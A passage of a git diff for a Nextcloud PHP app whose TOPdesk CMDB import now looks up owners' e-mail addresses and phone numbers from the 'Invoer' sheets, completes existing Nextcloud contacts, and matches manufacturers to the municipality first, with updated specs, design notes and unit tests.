$this->contactSync->completeContact( + contact: $contact, + channels: ['EMAIL' => ($record['email'] ?? ''), 'TEL' => ($record['telefoonnummer'] ?? '')] + ); + $uid = (string)($contact['UID'] ?? ''); + } + + if ($contact === null) { + $uid = (string)$this->contactSync->syncToNamedAddressBook( + objectType: 'contactPerson', + record: $record, + addressBookUri: self::OWNER_ADDRESS_BOOK_URI, + displayName: $this->l10n->t('Stackiq CMDB owners') + ); + } + + if ($uid === '') { + return null; + } + + return $uid; + }//end ownerContact() + /** * Find or create the contact person of a contact for the municipality. * @@ -1369,7 +1413,10 @@ private function municipalityByUuid(string $uuid): array { }//end municipalityByUuid() /** - * Suppliers by normalised name, loaded once per run. + * The organisations a manufacturer name matches, by normalised name, loaded once per run. + * + * Municipalities are loaded first, so a name both a Municipality and a + * Supplier carry is the Municipality. * * @return array * @@ -1378,7 +1425,8 @@ private function municipalityByUuid(string $uuid): array { private function suppliers(): array { if ($this->suppliers === null) { $this->suppliers = []; - foreach ($this->organisationsOfType(type: 'Supplier') as $organisation) { + $organisations = array_merge($this->organisationsOfType(type: 'Municipality'), $this->organisationsOfType(type: 'Supplier')); + foreach ($organisations as $organisation) { $key = self::normaliseName(name: (string)($organisation['name'] ?? '')); if ($key !== '' && isset($this->suppliers[$key]) === false) { $this->suppliers[$key] = $organisation['uuid']; diff --git a/lib/Service/StackiqContactSyncService.php b/lib/Service/StackiqContactSyncService.php index 60dfc2c58..49136a445 100644 --- a/lib/Service/StackiqContactSyncService.php +++ b/lib/Service/StackiqContactSyncService.php @@ -362,6 +362,74 @@ public function findContactByUid(string $uid): ?array { return null; }//end findContactByUid() + /** + * The contacts whose display name (FN) is exactly this one, case-insensitive. + * + * @param string $displayName The display name. + * + * @return array> The contacts as IManager::search() returns them. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-6 + */ + public function findContactsByDisplayName(string $displayName): array { + $needle = mb_strtolower(trim($displayName)); + if ($needle === '' || $this->isAvailable() === false) { + return []; + } + + $found = []; + foreach ($this->contactsManager->search($displayName, ['FN'], ['limit' => 50]) as $result) { + if (mb_strtolower(trim($this->firstValue(value: ($result['FN'] ?? '')))) === $needle) { + $found[] = $result; + } + } + + return $found; + }//end findContactsByDisplayName() + + /** + * Add the e-mail address and phone number a contact lacks; a value it has is never replaced. + * + * The contact is one IManager::search() returned, so it carries its URI + * and address book key. A contact in an address book that cannot be + * written (the system address book) is left as it is. + * + * @param array $contact The contact. + * @param array{EMAIL?: string, TEL?: string} $channels The values to add when the contact has none. + * + * @return bool Whether the contact was updated. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-6 + */ + public function completeContact(array $contact, array $channels): bool { + $uri = (string)($contact['URI'] ?? ''); + $addressBookKey = (string)($contact['addressbook-key'] ?? ''); + if ($uri === '' || $addressBookKey === '' || $this->isAvailable() === false) { + return false; + } + + $properties = []; + foreach (['EMAIL', 'TEL'] as $name) { + $value = trim((string)($channels[$name] ?? '')); + if ($value !== '' && $this->firstValue(value: ($contact[$name] ?? '')) === '') { + $properties[$name] = $value; + } + } + + if ($properties === []) { + return false; + } + + try { + $this->contactsManager->createOrUpdate(array_merge(['URI' => $uri], $properties), $addressBookKey); + } catch (Throwable $e) { + $this->logger->info('[StackiqContactSync] The contact could not be completed', ['exception' => get_class($e)]); + return false; + } + + return true; + }//end completeContact() + /** * Find a Nextcloud contact matching a relationship record's identity, by * e-mail first and — for organisations — by CBS/KvK code as a fallback. diff --git a/lib/Settings/cmdb-import/topdesk-business-owner.json b/lib/Settings/cmdb-import/topdesk-business-owner.json index f987d51ee..9a0e60b38 100644 --- a/lib/Settings/cmdb-import/topdesk-business-owner.json +++ b/lib/Settings/cmdb-import/topdesk-business-owner.json @@ -1,12 +1,14 @@ { "id": "stackiq-topdesk-business-owner", "name": "TOPdesk CMDB export to business owner identity", - "description": "The application owner (Applicatie Eigenaar (Persoon)); the value may be a function instead of a name and is used as the display name either way. The import resolves it in Nextcloud Contacts by exact display name and links a contactPerson of the municipality as usage.businessOwner, with the owner's function as its role. No other person column is read.", + "description": "The application owner (Applicatie Eigenaar (Persoon)); the value may be a function instead of a name and is used as the display name either way. The e-mail address and phone number are not on the CMDB sheets; the profile looks them up on the row of the sheet's \"Invoer\" sheet with the same Middel-ID. The import resolves the owner in Nextcloud Contacts by e-mail address, else by exact display name, adds an e-mail address or phone number the contact lacks, and links a contactPerson of the municipality as usage.businessOwner, with the owner's function as its role. No other person column is read.", "sourceFormat": "excel", - "version": "2.0.0", + "version": "2.1.0", "fieldMappings": [ { "source": "Applicatie Eigenaar (Persoon)", "target": "name", "required": true, "transform": { "type": "trim" } }, - { "source": "Applicatie Eigenaar (Functie)", "target": "role", "transform": { "type": "trim" } } + { "source": "Applicatie Eigenaar (Functie)", "target": "role", "transform": { "type": "trim" } }, + { "source": "Eigenaar e-mail", "target": "email", "transform": { "type": "trim" } }, + { "source": "Eigenaar mobiel nummer", "target": "telefoonnummer", "transform": { "type": "trim" } } ], "idStrategy": { "type": "generate" } } diff --git a/lib/Settings/cmdb-import/topdesk-profile.json b/lib/Settings/cmdb-import/topdesk-profile.json index 2923284e7..859affc02 100644 --- a/lib/Settings/cmdb-import/topdesk-profile.json +++ b/lib/Settings/cmdb-import/topdesk-profile.json @@ -2,7 +2,7 @@ "id": "topdesk-cmdb", "name": "TOPdesk CMDB export", "version": "2.0.0", - "description": "How stackiq reads a TOPdesk CMDB export (xlsx): the two CMDB sheets, the key and required columns, date and id columns, values that mean empty, the pack per target and the limits. Columns that neither this profile nor a pack names are never read.", + "description": "How stackiq reads a TOPdesk CMDB export (xlsx): the two CMDB sheets and the \"Invoer\" sheet each looks the owner's e-mail address and phone number up in, the key and required columns, date and id columns, values that mean empty, the pack per target and the limits. Columns that neither this profile nor a pack names are never read.", "maxFileBytes": 10485760, "maxRowsPerSheet": 10000, "maxUncompressedBytes": 52428800, @@ -10,11 +10,13 @@ { "name": "Onbeh Applicaties CMDB", "constants": { "Beheer": "Beheer geregeld: nee" }, - "absentColumns": ["Nickname"] + "absentColumns": ["Nickname"], + "lookup": { "sheet": "Invoer AIA data", "on": "Applicatie Code", "key": "Middel-ID", "columns": ["Eigenaar e-mail", "Eigenaar mobiel nummer"] } }, { "name": "Beheerde Applicaties CMDB", - "constants": { "Beheer": "Beheer geregeld: ja" } + "constants": { "Beheer": "Beheer geregeld: ja" }, + "lookup": { "sheet": "Invoer APP data", "on": "Applicatie Code", "key": "Middel-ID", "columns": ["Eigenaar e-mail", "Eigenaar mobiel nummer"] } } ], "sheetPrecedence": ["Beheerde Applicaties CMDB", "Onbeh Applicaties CMDB"], @@ -22,7 +24,7 @@ "nameColumn": "Applicatie Naam", "requiredColumns": ["APPID", "Applicatie Naam"], "dateColumns": ["Datum", "Referentie datum wijziging", "End-of-Life Functioneel"], - "idColumns": ["APPID"], + "idColumns": ["APPID", "Eigenaar mobiel nummer"], "emptyValues": { "BNN Classificatie": ["NB"] }, diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/cmdb-export-import/design.md index 5ca7936a5..c86bbe2d4 100644 --- a/openspec/changes/cmdb-export-import/design.md +++ b/openspec/changes/cmdb-export-import/design.md @@ -2,7 +2,7 @@ ## Context -A municipality delivers its application landscape as a TOPdesk export (xlsx). The anonymised test export has ten sheets. The municipality's application manager exports AIA and APP from TOPdesk into the raw "Invoer AIA data" and "Invoer APP data" sheets; the CMDB sheets next to them are the overviews the municipality itself uses as "the CMDB", built from the raw sheets with formulas. Decided with the municipality on 2026-10-01: the import reads the two CMDB sheets, "Onbeh Applicaties CMDB" (35 columns, from AIA: applications **without** arranged maintenance) and "Beheerde Applicaties CMDB" (42 columns, from APP: **with** arranged maintenance). The "Invoer" sheets are not read; "Gearchiveerde Applicaties" is a follow-up (missing records). Both CMDB sheets carry formatted but empty rows below the data, and "Beheerde" also formula rows that reference empty "Invoer" rows. Every cell is a formula; the reader uses the cached values. Dates are Excel serial numbers. The file also contains document metadata, a SharePoint sensitivity label, an embedded Power Query package and an external data connection (`xl/connections.xml`). +A municipality delivers its application landscape as a TOPdesk export (xlsx). The anonymised test export has ten sheets. The municipality's application manager exports AIA and APP from TOPdesk into the raw "Invoer AIA data" and "Invoer APP data" sheets; the CMDB sheets next to them are the overviews the municipality itself uses as "the CMDB", built from the raw sheets with formulas. Decided with the municipality on 2026-10-01: the import reads the two CMDB sheets, "Onbeh Applicaties CMDB" (35 columns, from AIA: applications **without** arranged maintenance) and "Beheerde Applicaties CMDB" (42 columns, from APP: **with** arranged maintenance). Of the "Invoer" sheets only the owner's "Eigenaar e-mail" and "Eigenaar mobiel nummer" are read (decided with the user on 2026-10-05, so owners in Contacts have an address and number; the CMDB sheets leave them out), looked up by "Middel-ID" = the CMDB sheet's "Applicatie Code"; "Gearchiveerde Applicaties" is a follow-up (missing records). Both CMDB sheets carry formatted but empty rows below the data, and "Beheerde" also formula rows that reference empty "Invoer" rows. Every cell is a formula; the reader uses the cached values. Dates are Excel serial numbers. The file also contains document metadata, a SharePoint sensitivity label, an embedded Power Query package and an external data connection (`xl/connections.xml`). The chain baseline on the local rig (OpenRegister 2.1.34-unstable, OpenCatalogi 2.1.17-unstable, Portaliq 0.2.8-unstable, stackiq 0.2.4-unstable) fixed what the import has to produce: @@ -143,7 +143,7 @@ The APPID is also stored as `externalNumber`, so it is visible on the module. Per row, in this order: 1. **Municipality** (once per import): `municipalityUuid` must resolve to an `organization` of type `Municipality`. Otherwise 422 `MUNICIPALITY_INVALID`. With `municipalityName`, the service reuses an existing Municipality with the same normalised name, or creates one through the municipality pack. -2. **Manufacturer**: map "Vendor" (the maker of the software) through the manufacturer pack. "Leverancier" (where the municipality buys it) and "Hostingpartij" are not read (follow-up). The normalised name (trim, collapse whitespace, lower case) is looked up in the run cache, then among `organization` objects of type `Supplier`. A new one is created only when neither matches. The first real import (1,137 rows, 479 suppliers) showed no two names that differ only in case, spacing or a legal-form suffix (`B.V.`, `BV`, `Inc.` …), so the normalisation is not widened. +2. **Manufacturer**: map "Vendor" (the maker of the software) through the manufacturer pack. "Leverancier" (where the municipality buys it) and "Hostingpartij" are not read (follow-up). The normalised name (trim, collapse whitespace, lower case) is looked up in the run cache, then among `organization` objects of type `Municipality`, then of type `Supplier`. A new Supplier is created only when none matches. The Municipality comes first because a municipality that builds its own applications names itself as Vendor (Rotterdam: "Gemeente Rotterdam" on 57 rows); before 2026-10-05 that created a second, Supplier organisation of the same name next to the municipality. The first real import (1,137 rows, 479 suppliers) showed no two names that differ only in case, spacing or a legal-form suffix (`B.V.`, `BV`, `Inc.` …), so the normalisation is not widened. 3. **Module** (D5), with `provider` = the manufacturer when there is one. 4. **Owners** (D8). 5. **Usage**: `searchObjects` on `consumer` = municipality and `module` = module uuid. Create or merge the usage pack's fields, plus `consumer`, `module`, `provider` = the manufacturer, and `businessOwner`. `interneAnnotation` ("Beheer geregeld: ja|nee / Cluster / Applicatie Eigenaar (Afdeling)", empty parts left out) is create-only, because it is a free-text note an admin may edit. @@ -154,7 +154,7 @@ When step 3 succeeds and step 5 fails, the row is `failed` with the step named. Stackiq keeps a person's identity in Nextcloud Contacts. A `contactPerson` object holds only `contactsUid`, `role`, `organization` and `roles`. The owner is "Applicatie Eigenaar (Persoon)"; when TOPdesk has no owner the CMDB sheet shows the owner's function there instead, and the import uses that as the display name too. "Applicatie Eigenaar (Functie)" is the role; "Applicatie Eigenaar (Afdeling)" goes into the usage note (D7), because a contact person has no department field. The functional administrator (FB contactpersoon) is not imported, so there is no `technicalOwner`. -1. The CMDB sheets carry no e-mail address, so the service runs `searchContacts(name)` and accepts only an exact, case-insensitive display-name match; otherwise `StackiqContactSyncService::syncToContacts('contactPerson', ['voornaam' => …, 'achternaam' => …, 'role' => …])` creates the contact. This avoids creating a new contact on every import. +1. The e-mail address and phone number come from the "Invoer" sheet (profile `lookup`). The service finds the contact by e-mail address (`findContactForRecord`), else by an exact, case-insensitive display-name match (`findContactsByDisplayName`; with an e-mail address only a contact without one, so a namesake is not taken), and adds the e-mail address and phone number a found contact lacks (`completeContact`, which never replaces a value). Otherwise `syncToNamedAddressBook` creates the contact with name, role, e-mail address and phone number. This avoids creating a new contact on every import, and completes the contacts earlier imports made without an address. 2. Find the `contactPerson` with that `contactsUid` and `organization` = the municipality (run cache, then `searchObjects`). If none exists, create it with `role` = "Applicatie Eigenaar (Functie)" when given. 3. Set `usage.businessOwner` to its uuid. @@ -221,7 +221,8 @@ Source columns of "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB" and w | Applicatiecomponent, Bron, Datum Interface, Referentie element externe ID, Cloud, Rappeldatum, Rappelreden, Locatie BIOToets | both | not mapped | Cloud is derived from Applicatiesoort; Datum Interface is the export date | | Beschikbaarheid, Integriteit, Vertrouwelijkheid, Applicatienut, Kwaliteit en betrouwbaarheid van leverancier, Flexibiliteit, Gebruikerstevredenheid, Reputatie risico | both | not mapped (no field on module or usage) | schema extension is out of scope | | Standaard, Behandelgroep, End-of-life Technisch, End-of-support Technisch, Top5, COTS, Applicatie Nummer | Beheerde | not mapped | Applicatie Nummer repeats the APPID | -| every column of the "Invoer" sheets | – | never read | | +| "Invoer" sheets: Eigenaar e-mail, Eigenaar mobiel nummer (by Middel-ID) | owner's Nextcloud contact (EMAIL, TEL) | lookup; never on a stackiq object | | +| every other column of the "Invoer" sheets | – | never read | | ## API Design @@ -249,7 +250,7 @@ The fragment bumps `module` to `0.3.5`. Fragments are merged in filename order a - **Imperative, because it is an external integration:** reading an uploaded third-party file, splitting a row into four linked objects, resolving contacts in Nextcloud Contacts, progress and cancel. These are not object lifecycle, aggregation, notification or relation rules that an `x-openregister-*` block can express. This is the external-integration exception: the service is imperative glue around the file. - **Declarative:** what each column becomes (target property, transform, lookup, required) is JSON in OpenRegister's migration-pack format, executed by OpenRegister's `MappingEngine`. Changing the mapping changes no PHP. -- **Matching rule (stated once, enforced in code):** a module matches when its `externalKey` equals `topdesk::`. A usage matches on (`consumer`, `module`). A supplier matches on its normalised name and type `Supplier`. A contact person matches on (`contactsUid`, `organization`). +- **Matching rule (stated once, enforced in code):** a module matches when its `externalKey` equals `topdesk::`. A usage matches on (`consumer`, `module`). A manufacturer matches on its normalised name, a `Municipality` before a `Supplier`. A contact person matches on (`contactsUid`, `organization`). - **publicationDate rule (stated once, enforced in code):** set to the import's start time on create; never written on update. - No `x-openregister-*` block is added or changed. The usage name keeps coming from the schema's existing name template. @@ -270,7 +271,7 @@ The fragment bumps `module` to `0.3.5`. Fragments are merged in filename order a - **Resource bounds:** row cap per sheet, and only allowlisted columns are kept. Memory is bounded by loading only the two CMDB sheets. - **Injection:** every value is a string that goes through OpenRegister's schema validation on save, and is never used in SQL, file paths or templates. The UI renders values as text only. - **Isolation:** every row runs in its own try/catch. Errors are reported per row, and the import continues. -- **Privacy:** the column allowlist keeps every person column except the owner out of memory; the "Invoer" sheets, which hold personnel numbers, phones and group mailboxes, are not read at all. Owner identity goes only to Nextcloud Contacts, and `contactPerson` and `usage` are never publicly readable (D8). Reports and logs carry no person data. +- **Privacy:** the column allowlist keeps every person column except the owner out of memory; of the "Invoer" sheets, which hold personnel numbers, phones and group mailboxes, only the owner's e-mail address and mobile number are read, and only into Nextcloud Contacts. Owner identity goes only to Nextcloud Contacts, and `contactPerson` and `usage` are never publicly readable (D8). Reports and logs carry no person data. - **Fixture hygiene:** the test fixture is the anonymised export with document metadata, the custom properties (sensitivity label), `customXml/` (including the Power Query package) and `xl/connections.xml` removed. One small synthetic connection part is added back for the external-connection test. ## NL Design System diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index 444e91056..e942c1649 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -79,7 +79,7 @@ The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-dat ### Requirement: Columns SHALL be resolved by header name, and a missing required column SHALL stop the import with 422 (REQ-CMDB-003) -The source sheets SHALL be the CMDB sheets "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB"; the "Invoer" sheets SHALL NOT be read. The reader SHALL take the first row of each source sheet as headers and SHALL match them to the profile's column names per sheet, case-insensitively, after trimming whitespace and dropping a trailing `:` or `⚡`. Column order SHALL NOT matter. When a present source sheet lacks a column the profile marks as required (`APPID`, `Applicatie Naam`), the endpoint SHALL answer 422 with error `MISSING_COLUMN`, naming the column and the sheet, before any object is written. When neither source sheet exists, the endpoint SHALL answer 422 with error `NO_SOURCE_SHEET`, naming both expected sheets. A missing optional column SHALL produce one import-level warning and no row error, except for a column the profile lists as absent on that sheet (`Nickname` on "Onbeh Applicaties CMDB"). +The source sheets SHALL be the CMDB sheets "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB". Of the "Invoer" sheet each source sheet is derived from (the profile's `lookup`: "Invoer AIA data" for Onbeh, "Invoer APP data" for Beheerde), the reader SHALL read only "Middel-ID", "Eigenaar e-mail" and "Eigenaar mobiel nummer", and SHALL add the last two to the source row whose "Applicatie Code" equals that "Middel-ID" (trimmed, case-insensitive), filling only cells the source row leaves empty. A lookup sheet or key column the workbook lacks SHALL produce one import-level warning and no error; no other "Invoer" column SHALL be read. The reader SHALL take the first row of each source sheet as headers and SHALL match them to the profile's column names per sheet, case-insensitively, after trimming whitespace and dropping a trailing `:` or `⚡`. Column order SHALL NOT matter. When a present source sheet lacks a column the profile marks as required (`APPID`, `Applicatie Naam`), the endpoint SHALL answer 422 with error `MISSING_COLUMN`, naming the column and the sheet, before any object is written. When neither source sheet exists, the endpoint SHALL answer 422 with error `NO_SOURCE_SHEET`, naming both expected sheets. A missing optional column SHALL produce one import-level warning and no row error, except for a column the profile lists as absent on that sheet (`Nickname` on "Onbeh Applicaties CMDB"). #### Scenario: A missing required column is named in the 422 response @e2e tests/e2e/spec-coverage/cmdb-import.spec.ts @@ -229,7 +229,7 @@ When the service creates a `module` it SHALL set `publicationDate` to the time t ### Requirement: A manufacturer SHALL become one supplier organisation, however many rows name it (REQ-CMDB-008) -The service SHALL map "Vendor" (the maker of the software) through the manufacturer pack to an `organization` of type `Supplier`. It SHALL match names after trimming, collapsing whitespace and ignoring case, first against the organisations it has already resolved during this import, then against existing organisations of type `Supplier`, and SHALL create one only when neither matches. The imported module's `provider` and the usage's `provider` SHALL reference that organisation. A row with an empty "Vendor" SHALL be imported without a provider. "Leverancier" and "Hostingpartij" SHALL NOT be read. +The service SHALL map "Vendor" (the maker of the software) through the manufacturer pack to an `organization`. It SHALL match names after trimming, collapsing whitespace and ignoring case, first against the organisations it has already resolved during this import, then against existing organisations of type `Municipality`, then of type `Supplier`, and SHALL create one of type `Supplier` only when none matches. A Vendor that is the municipality's own name SHALL therefore reference the municipality, so one municipality is never also a second, Supplier organisation. The imported module's `provider` and the usage's `provider` SHALL reference that organisation. A row with an empty "Vendor" SHALL be imported without a provider. "Leverancier" and "Hostingpartij" SHALL NOT be read. #### Scenario: Rows with the same manufacturer share one organisation @e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php feeds three rows with "Fabfrikant", "Fabfrikant " and "FABFRIKANT". @@ -247,6 +247,14 @@ The service SHALL map "Vendor" (the maker of the software) through the manufactu - **THEN** no new organisation SHALL be created - **AND** the module with APPID `1234` SHALL have `provider` = the existing organisation's uuid +#### Scenario: A municipality that builds its own applications stays one organisation +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testAVendorNamedAsTheMunicipalityIsTheMunicipality seeds a Municipality and a Supplier of the same name and asserts both rows get the Municipality as provider and no organisation is created. + +- **GIVEN** the municipality `Gemeente Voorbeeldstad` and rows whose "Vendor" is `Gemeente Voorbeeldstad` +- **WHEN** they are imported +- **THEN** their modules SHALL have `provider` = the municipality's uuid +- **AND** no organisation of type `Supplier` named `Gemeente Voorbeeldstad` SHALL be created + ### Requirement: Each imported application SHALL have one usage that links it to the municipality (REQ-CMDB-009) For each imported module the service SHALL keep exactly one `usage` with `consumer` = the municipality and `module` = the module, found by those two references and created when missing. The usage pack SHALL map "Applicatie Status" to `status` and "Classificatie" to `timeClassification` through lookups, "End-of-Life Functioneel" to `startDateOutPhased`, and the sheet's `Beheer` constant, "Cluster" and "Applicatie Eigenaar (Afdeling)" to `interneAnnotation`, so the note records whether maintenance is arranged (`Beheer geregeld: nee` for "Onbeh Applicaties CMDB", `ja` for "Beheerde Applicaties CMDB"). Empty parts SHALL be left out of the note. `interneAnnotation` SHALL be written only when the usage is created or the field is empty, so a note an admin wrote is never overwritten. @@ -276,7 +284,7 @@ For each imported module the service SHALL keep exactly one `usage` with `consum ### Requirement: The owner SHALL become a contact person of the municipality through Nextcloud Contacts, never a user account, and SHALL never be publicly readable (REQ-CMDB-010) -The business owner pack SHALL map "Applicatie Eigenaar (Persoon)" (the display name, which may be a function instead of a person's name) and "Applicatie Eigenaar (Functie)" (the role). No technical owner SHALL be imported; the functional administrator columns SHALL NOT be read. For the owner the service SHALL resolve a Nextcloud contact through `StackiqContactSyncService` by an exact match on the display name, and otherwise by creating one. It SHALL then reuse or create one `contactPerson` with that `contactsUid`, `organization` = the municipality and `role` = "Applicatie Eigenaar (Functie)" when given, and SHALL set `usage.businessOwner` to it. The import SHALL NOT create Nextcloud user accounts. When Nextcloud Contacts is unavailable, the row SHALL be imported without an owner and SHALL carry a warning. `contactPerson` and `usage` SHALL have no public read rule, so the owner is never readable by an anonymous visitor; a published module SHALL refer to them by relation only. +The business owner pack SHALL map "Applicatie Eigenaar (Persoon)" (the display name, which may be a function instead of a person's name) and "Applicatie Eigenaar (Functie)" (the role). No technical owner SHALL be imported; the functional administrator columns SHALL NOT be read. The pack SHALL also map "Eigenaar e-mail" and "Eigenaar mobiel nummer", which the reader looks up on the "Invoer" sheet; they SHALL be written to the Nextcloud contact only, never to a stackiq object. For the owner the service SHALL resolve a Nextcloud contact through `StackiqContactSyncService` by e-mail address, else by an exact match on the display name (with an e-mail address, only a contact without one), and otherwise by creating one. A resolved contact SHALL get the e-mail address and phone number it lacks; a value it has SHALL NOT be replaced. It SHALL then reuse or create one `contactPerson` with that `contactsUid`, `organization` = the municipality and `role` = "Applicatie Eigenaar (Functie)" when given, and SHALL set `usage.businessOwner` to it. The import SHALL NOT create Nextcloud user accounts. When Nextcloud Contacts is unavailable, the row SHALL be imported without an owner and SHALL carry a warning. `contactPerson` and `usage` SHALL have no public read rule, so the owner is never readable by an anonymous visitor; a published module SHALL refer to them by relation only. #### Scenario: The owner becomes the business owner @e2e exclude Needs a Contacts address book; tests/Unit/Service/CmdbExportImportServiceTest.php asserts the calls to a StackiqContactSyncService test double and the saved contactPerson. @@ -295,6 +303,14 @@ The business owner pack SHALL map "Applicatie Eigenaar (Persoon)" (the display n - **THEN** OpenRegister SHALL return no contact person and no usage - **AND** the OpenCatalogi search hit SHALL carry no owner name, and its `contactPerson` and `usages` SHALL be empty or ids only +#### Scenario: An owner known by name gets the e-mail address and phone number from the Invoer sheet +@e2e exclude Needs a Contacts address book; tests/Unit/Service/CmdbExportImportServiceTest.php testAnOwnerKnownByNameGetsTheEmailAndPhoneItLacks and testANamesakeWithAnotherEmailIsNotTaken, and tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php testALookupAddsOnlyItsColumnsByKey. + +- **GIVEN** a contact `Voornaam Achternaam` without e-mail address or phone number, and an "Invoer" row with the row's Middel-ID, an "Eigenaar e-mail" and an "Eigenaar mobiel nummer" +- **WHEN** the row with owner `Achternaam, Voornaam` is imported +- **THEN** that contact SHALL get the e-mail address and phone number, and no second contact SHALL be created +- **AND** no `contactPerson`, `usage` or `module` SHALL hold the e-mail address or phone number + #### Scenario: The same owner on two rows is one contact person @e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php testTheSameOwnerOnTwoRowsIsOneContactPerson. diff --git a/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php b/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php index 5a1f9f31c..d45452797 100644 --- a/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php +++ b/tests/Unit/Service/Cmdb/CmdbImportProfileTest.php @@ -131,7 +131,15 @@ public function testThePacksImplementTheColumnTable(): void { ['Applicatie Status' => 'status', 'Classificatie' => 'timeClassification', 'End-of-Life Functioneel' => 'startDateOutPhased', 'Beheer' => 'interneAnnotation'], $targets('usage') ); - $this->assertSame(['Applicatie Eigenaar (Persoon)' => 'name', 'Applicatie Eigenaar (Functie)' => 'role'], $targets('businessOwner')); + $this->assertSame( + [ + 'Applicatie Eigenaar (Persoon)' => 'name', + 'Applicatie Eigenaar (Functie)' => 'role', + 'Eigenaar e-mail' => 'email', + 'Eigenaar mobiel nummer' => 'telefoonnummer', + ], + $targets('businessOwner') + ); $this->assertSame(['module', 'manufacturer', 'municipality', 'usage', 'businessOwner'], CmdbImportProfile::TARGETS, 'no technical owner'); $this->assertSame(['type' => 'Supplier', 'status' => 'Active', 'registeredBy' => 'Supplier'], $profile->pack(target: 'manufacturer')['defaults']); @@ -217,7 +225,8 @@ public function testPersonColumnsAreNeverReferenced(): void { foreach ([ 'Personeelsnummer', 'Eigenaar', - 'Eigenaar e-mail', + 'Eigenaar afdeling', + 'Eigenaar functie', 'FB contactpersoon 1', 'FB contactpersoon 2', 'Groepseigenaar mail⚡', @@ -233,6 +242,15 @@ public function testPersonColumnsAreNeverReferenced(): void { $this->assertNotContains($never, $columns); } + // Read only for the owner's Nextcloud contact, looked up on the Invoer sheets; no stackiq object holds them. + $this->assertContains('Eigenaar e-mail', $columns); + $this->assertContains('Eigenaar mobiel nummer', $columns); + $this->assertSame( + ['sheet' => 'Invoer AIA data', 'on' => 'Applicatie Code', 'key' => 'Middel-ID', 'columns' => ['Eigenaar e-mail', 'Eigenaar mobiel nummer']], + $profile->lookup(sheetName: 'Onbeh Applicaties CMDB') + ); + $this->assertSame('Invoer APP data', $profile->lookup(sheetName: 'Beheerde Applicaties CMDB')['sheet']); + $this->assertContains('Applicatie Eigenaar (Persoon)', $columns); $this->assertContains('Applicatie Eigenaar (Functie)', $columns); $this->assertContains('Applicatie Eigenaar (Afdeling)', $columns, 'the concat field is read too'); diff --git a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php index f0c81f7bf..91b522739 100644 --- a/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php +++ b/tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php @@ -96,6 +96,7 @@ public function testTheSanitisedExportYieldsOneRowPerSheet(): void { $this->assertSame('Mailen', $rows[0]['cells']['Roepnaam']); $this->assertSame('Webapplicatie', $rows[0]['cells']['Applicatiesoort']); $this->assertSame('Achternaam, Voornaam', $rows[0]['cells']['Applicatie Eigenaar (Persoon)']); + $this->assertSame('letter.achternaam@gemeente.nl', $rows[0]['cells']['Eigenaar e-mail'], 'looked up on "Invoer AIA data" by Middel-ID'); $this->assertArrayNotHasKey('Nickname', $rows[0]['cells'], 'Onbeh has no Nickname column'); $this->assertSame('naamtest123', $rows[1]['cells']['Applicatie Naam']); $this->assertSame(2, (int)$rows[1]['cells']['APPID']); @@ -380,6 +381,66 @@ public function testTheDataPassHoldsOnlyResolvedColumns(): void { } }//end testTheDataPassHoldsOnlyResolvedColumns() + /** + * A lookup adds only its listed columns, from the Invoer row with the same Middel-ID, to the rows that have one. + * + * @return void + */ + public function testALookupAddsOnlyItsColumnsByKey(): void { + $this->requireSpreadsheet(); + $path = CmdbTestSupport::buildWorkbook( + sheets: [ + 'Beheerde Applicaties CMDB' => [ + ['APPID', 'Applicatie Code', 'Applicatie Naam'], + [1, 'APP-een', 'Een'], + [2, 'APP-twee', 'Twee'], + ], + 'Invoer APP data' => [ + ['Personeelsnummer', 'Middel-ID', 'Eigenaar e-mail', 'Eigenaar mobiel nummer'], + ['P-0002', ' app-TWEE ', 'twee@example.org', '0612345678'], + ['P-0003', 'APP-drie', 'drie@example.org', ''], + ], + ] + ); + + try { + $result = (new CmdbWorkbookReader())->read(path: $path, profile: $this->profile()); + $rows = array_column($result['rows'], 'cells', 'row'); + $this->assertArrayNotHasKey('Eigenaar e-mail', array_filter($rows[2], static fn ($value): bool => $value !== null), 'APP-een has no Invoer row'); + $this->assertSame('twee@example.org', $rows[3]['Eigenaar e-mail'], 'keys match whatever their case or surrounding space'); + $this->assertSame('0612345678', (string)$rows[3]['Eigenaar mobiel nummer']); + $this->assertStringNotContainsString('P-000', (string)json_encode($result['rows'])); + $this->assertCount(2, $result['rows'], 'a lookup sheet adds no rows of its own'); + $this->assertSame([], array_filter($result['importWarnings'], static fn (array $warning): bool => isset($warning['lookupSheet']) || isset($warning['lookupKey']))); + } finally { + unlink($path); + } + }//end testALookupAddsOnlyItsColumnsByKey() + + /** + * A missing lookup sheet is an import warning, and the source rows are read without its columns. + * + * @return void + */ + public function testAMissingLookupSheetIsAWarning(): void { + $this->requireSpreadsheet(); + $path = CmdbTestSupport::buildWorkbook( + sheets: ['Beheerde Applicaties CMDB' => [['APPID', 'Applicatie Code', 'Applicatie Naam'], [1, 'APP-een', 'Een']]] + ); + + try { + $result = (new CmdbWorkbookReader())->read(path: $path, profile: $this->profile()); + $this->assertCount(1, $result['rows']); + $lookupWarnings = array_values(array_filter($result['importWarnings'], static fn (array $warning): bool => isset($warning['lookupSheet']))); + $this->assertSame( + [['sheet' => 'Beheerde Applicaties CMDB', 'lookupSheet' => 'Invoer APP data', 'lookupColumns' => ['Eigenaar e-mail', 'Eigenaar mobiel nummer']]], + array_map(static fn (array $warning): 